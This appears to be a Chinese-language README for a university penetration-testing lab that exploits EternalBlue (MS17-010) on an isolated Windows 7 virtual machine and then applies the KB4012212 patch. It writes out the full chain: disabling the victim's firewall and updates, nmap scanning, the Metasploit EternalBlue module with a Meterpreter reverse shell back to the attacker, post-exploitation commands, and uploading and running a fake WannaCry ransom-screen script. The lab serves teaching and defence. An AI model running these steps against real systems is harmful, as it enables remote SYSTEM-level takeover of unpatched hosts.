ichhyak22/eternalblue-exploit-demonstration-ms17-010网络安全实验室，演示利用CVE-2017-0144（EternalBlue）通过Metasploit攻击易受攻击的Windows 7虚拟机，实现SYSTEM级访问（通过Meterpreter）。包含完整攻击链、后期利用以及通过MS17-010补丁进行缓解，已在隔离的道德实验室环境中测试。
网络安全实验室，演示利用 CVE-2017-0144 (EternalBlue) 通过 Metasploit 攻击易受攻击的 Windows 7 系统，通过 Meterpreter 获取 SYSTEM 级别访问权限。
该项目还模拟了一次 WannaCry 风格的勒索软件攻击（安全演示），并演示了使用 MS17-010 安全补丁的缓解措施。
模块： CSCM828 安全漏洞与渗透测试
学生：
大学： 斯旺西大学
MS17-010 EternalBlue SMB 远程 Windows 内核池损坏
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
KB4012212 (Windows 7 x64 安全更新)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212%20Windows%207%20x64
Kali Linux (虚拟机下载)
https://www.kali.org/get-kali/#kali-virtual-machines
Windows 7 SP1 Home Premium 英文版 x64 (ISO)
https://archive.org/details/windows-7-home-prem-english
VMware Workstation Pro
https://www.vmware.com/products/desktop-hyper
本实验演示：
⚠️ 本实验必须在完全隔离的环境中进行。
以管理员身份运行命令提示符：
netsh advfirewall set allprofiles state off
netstat -an | findstr :445
sc stop wuauserv
sc config wuauserv start= disabled
ping <victim-ip>
nmap -p 445 <victim-ip>
nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>
预期结果：
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <victim-ip>
set LHOST <attacker-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
meterpreter > getuid
预期结果：
NT AUTHORITY\SYSTEM
sysinfo
getuid
ps
screenshot
shell
whoami
ipconfig
ps
migrate <explorer.exe PID>
cat > /tmp/wannacry64.bat << 'EOF'
@echo off
title WannaCryptor Demo - SAFE SIMULATION
color 0a
mode con: cols=80 lines=25
cls
setlocal enabledelayedexpansion
set id=%random%-%random%-%random%
set /a timeleft=60
:main
cls
echo ========================================================
echo WANNA DECRYPTOR 0.4 x64 (DEMO)
echo ========================================================
echo.
echo All files have been encrypted!
echo.
echo Send 0.25 BTC to:
echo 13AM4VWSEwlt4cLnoQNFfqJDwZ8m9dkVml
echo.
echo Personal ID: %id%
echo.
echo Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.
echo Initializing encryption...
timeout /t 2 >nul
for /l %%i in (1,1,20) do (
set /a percent=%%i*5
call :progress !percent!
timeout /t 1 >nul
)
goto countdown
:progress
set bar=
set /a blocks=%1/5
for /l %%b in (1,1,!blocks!) do set bar=!bar!#
cls
echo ========================================================
echo ENCRYPTING FILES...
echo ========================================================
echo.
echo Progress: [%bar%] %1%%
echo.
set /a randfile=%random% %% 5
if !randfile!==0 echo Encrypting: documents.docx
if !randfile!==1 echo Encrypting: photos.jpg
if !randfile!==2 echo Encrypting: database.sql
if !randfile!==3 echo Encrypting: backup.zip
if !randfile!==4 echo Encrypting: project.pptx
exit /b
:countdown
cls
:loop
cls
echo ========================================================
echo YOUR FILES ARE ENCRYPTED
echo ========================================================
echo.
echo Pay within the time limit or files will be lost!
echo.
echo Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.
if !timeleft! LEQ 0 goto end
set /a timeleft-=1
timeout /t 1 >nul
goto loop
:end
cls
echo ========================================================
echo TIME EXPIRED
echo ========================================================
echo.
echo Your files are permanently locked.
echo.
echo (This was a SAFE DEMO simulation)
echo.
echo ========================================================
pause
EOF
meterpreter > upload /tmp/wannacry64.bat C:\\Windows\\Temp\\wannacry64.bat
meterpreter > execute -f cmd.exe -a "/c start C:\Windows\Temp\wannacry64.bat"
.msu 文件wusa.exe KB4012212-x64.msu /quiet /norestart
shutdown /r /t 0
systeminfo | findstr KB4012212
预期结果：
nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>
预期结果：
| 问题 | 解决方案 |
|---|---|
| 漏洞利用失败 | 检查网络连通性 |
| 无法建立会话 | 禁用防火墙 |
| 会话中断 | 重新尝试利用 |
| 窗口不可见 | 迁移到 explorer.exe |
本项目严格遵循：
未经授权使用违反：
本实验演示：